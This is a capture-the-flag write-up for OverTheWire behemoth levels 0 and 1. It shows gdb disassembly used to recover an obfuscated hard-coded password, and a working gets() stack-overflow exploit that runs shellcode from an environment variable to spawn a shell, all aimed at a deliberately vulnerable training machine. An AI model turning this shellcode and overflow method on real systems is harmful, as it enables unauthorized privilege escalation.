overthewire / behemoth

Level 0

Unlike narnia, in behemoth the source code is not available to us - so let’s decompile.

behemoth0@behemoth:/behemoth$ gdb -q behemoth0
Reading symbols from behemoth0...(no debugging symbols found)...done.
) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
   0x080485a2 <+0>:     push   ebp
   0x080485a3 <+1>:     mov    ebp,esp
   0x080485a5 <+3>:     and    esp,0xfffffff0
   0x080485a8 <+6>:     sub    esp,0x70
   0x080485ab <+9>:     mov    eax,gs:0x14
   0x080485b1 <+15>:    mov    DWORD PTR [esp+0x6c],eax
   0x080485b5 <+19>:    xor    eax,eax
   0x080485b7 <+21>:    mov    DWORD PTR [esp+0x1f],0x475e4b4f
   0x080485bf <+29>:    mov    DWORD PTR [esp+0x23],0x45425953
   0x080485c7 <+37>:    mov    DWORD PTR [esp+0x27],0x595e58
   0x080485cf <+45>:    mov    DWORD PTR [esp+0x10],0x8048720
   0x080485d7 <+53>:    mov    DWORD PTR [esp+0x14],0x8048738
   0x080485df <+61>:    mov    DWORD PTR [esp+0x18],0x804874d
   0x080485e7 <+69>:    mov    DWORD PTR [esp],0x8048761
   0x080485ee <+76>:    call   0x8048400 <printf@plt>
   0x080485f3 <+81>:    lea    eax,[esp+0x2b]
   0x080485f7 <+85>:    mov    DWORD PTR [esp+0x4],eax
   0x080485fb <+89>:    mov    DWORD PTR [esp],0x804876c
   0x08048602 <+96>:    call   0x8048470 <__isoc99_scanf@plt>
   0x08048607 <+101>:   lea    eax,[esp+0x1f]
   0x0804860b <+105>:   mov    DWORD PTR [esp],eax
   0x0804860e <+108>:   call   0x8048440 <strlen@plt>
   0x08048613 <+113>:   mov    DWORD PTR [esp+0x4],eax
   0x08048617 <+117>:   lea    eax,[esp+0x1f]
   0x0804861b <+121>:   mov    DWORD PTR [esp],eax
   0x0804861e <+124>:   call   0x804857d <memfrob>
   0x08048623 <+129>:   lea    eax,[esp+0x1f]
   0x08048627 <+133>:   mov    DWORD PTR [esp+0x4],eax
   0x0804862b <+137>:   lea    eax,[esp+0x2b]
   0x0804862f <+141>:   mov    DWORD PTR [esp],eax
   0x08048632 <+144>:   call   0x80483f0 <strcmp@plt>
   0x08048637 <+149>:   test   eax,eax
   0x08048639 <+151>:   jne    0x8048665 <main+195>
   0x0804863b <+153>:   mov    DWORD PTR [esp],0x8048771
   0x08048642 <+160>:   call   0x8048420 <puts@plt>
   0x08048647 <+165>:   mov    DWORD PTR [esp+0x8],0x0
   0x0804864f <+173>:   mov    DWORD PTR [esp+0x4],0x8048782
   0x08048657 <+181>:   mov    DWORD PTR [esp],0x8048785
   0x0804865e <+188>:   call   0x8048460 <execl@plt>
   0x08048663 <+193>:   jmp    0x8048671 <main+207>
   0x08048665 <+195>:   mov    DWORD PTR [esp],0x804878d
   0x0804866c <+202>:   call   0x8048420 <puts@plt>
   0x08048671 <+207>:   mov    eax,0x0
   0x08048676 <+212>:   mov    edx,DWORD PTR [esp+0x6c]
   0x0804867a <+216>:   xor    edx,DWORD PTR gs:0x14
   0x08048681 <+223>:   je     0x8048688 <main+230>
   0x08048683 <+225>:   call   0x8048410 <__stack_chk_fail@plt>
   0x08048688 <+230>:   leave
   0x08048689 <+231>:   ret
End of assembler dump.

The strcmp looks interesting. If it doesn’t match we jump to 0x8048665, which prints the string located at 0x804878d:

(gdb) x/s 0x804878d
0x804878d:      "Access denied.."

If it does match however:

(gdb) x/s 0x8048771
0x8048771:      "Access granted.."

Let’s find out what strcmp is looking at:

(gdb) x/10wx $esp
0xffffd6a0:     0xffffd6cb      0xffffd6bf      0xffffd6c0      0x080482d2
0xffffd6b0:     0x08048720      0x08048738      0x0804874d      0x65eb8fe6
0xffffd6c0:     0x796d7461      0x726f6873
(gdb) x/s 0xffffd6cb
0xffffd6cb:     "foo"
(gdb) x/s 0xffffd6bf
0xffffd6bf:     "eatmyshorts"

If you run strings on the binary, you’ll note this string wasn’t stored anywhere - and for kicks it was obfuscated with memfrob. But sure enough:

behemoth0@behemoth:~$ /behemoth/behemoth0
Password: eatmyshorts
Access granted..
$ whoami
behemoth1
$ cat /etc/behemoth_pass/behemoth1
*** password ***

Level 1

Again, we have no source - so we’ll have to use gdb.

behemoth1@behemoth:~$ gdb -q /behemoth/behemoth1
Reading symbols from /behemoth/behemoth1...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
   0x0804845d <+0>:     push   ebp
   0x0804845e <+1>:     mov    ebp,esp
   0x08048460 <+3>:     and    esp,0xfffffff0
   0x08048463 <+6>:     sub    esp,0x60
   0x08048466 <+9>:     mov    DWORD PTR [esp],0x8048530
   0x0804846d <+16>:    call   0x8048310 <printf@plt>
   0x08048472 <+21>:    lea    eax,[esp+0x1d]
   0x08048476 <+25>:    mov    DWORD PTR [esp],eax
   0x08048479 <+28>:    call   0x8048320 <gets@plt>
   0x0804847e <+33>:    mov    DWORD PTR [esp],0x804853c
   0x08048485 <+40>:    call   0x8048330 <puts@plt>
   0x0804848a <+45>:    mov    eax,0x0
   0x0804848f <+50>:    leave
   0x08048490 <+51>:    ret
End of assembler dump.
(gdb) x/s 0x804853c
0x804853c:      "Authentication failure.\nSorry."

The disassembly is a little disappointing. It looks like no matter what we input to gets, we display the ‘Authentication failure’ message. But gets is in the same family of ‘insecure’ functions as scanf. We can probably overflow:

behemoth1@behemoth:~$ python -c 'print "D"*200' | /behemoth/behemoth1
Password: Authentication failure.
Sorry.
Segmentation fault (core dumped)

Right. Now let’s see what the offset is - pwntools to the rescue!

behemoth1@behemoth:~$ python -c 'import pwnlib;print pwnlib.util.cyclic.cyclic(200)' | strace /behemoth/behemoth1 2>&1 | tail -n2
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x61617561} ---
+++ killed by SIGSEGV (core dumped) +++
behemoth1@behemoth:~$ python -c 'import pwnlib;print pwnlib.util.cyclic.cyclic_find(0x61617561)'
79

So we’ll need to pad 79 bytes before we can overwrite the return address. We’ll overwrite that with the address of an environment variable containing our shellcode. Let’s start by finding out where this variable, EGG will be located. We use a quick C program to figure that out.

#include <stdio.h>
#include <stdlib.h>

int
main(int argc, char* argv[])
{
  printf("%s is at %p\n", argv[1], getenv(argv[1]));
}

Compile, and run:

behemoth1@behemoth:~$ env -i EGG=$(python -c 'print "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80" ') /home/behemoth1/abc EGG
EGG is at 0xffffdfc0

This works because we are unsetting the environment first and the name of our program (/home/behemoth1/abc) matches the length of /behemoth/behemoth1.

behemoth1@behemoth:~$ python -c 'print "D"*79 + "\xc0\xdf\xff\xff"' | env -i EGG=$(python -c 'print "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80" ') /behemoth/behemoth1
Password: Authentication failure.
Sorry.

Mmm. No segfault, but no shell. This is probably because the pipe closed. Let’s try to keep it open:

behemoth1@behemoth:~$ (python -c 'print "D"*79 + "\xc0\xdf\xff\xff"';cat) | env -i EGG=$(python -c 'print "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80" ') /behemoth/behemoth1
Password: Authentication failure.
Sorry.
whoami
behemoth2
cat /etc/behemoth_pass/behemoth2
*** password ***

Yay!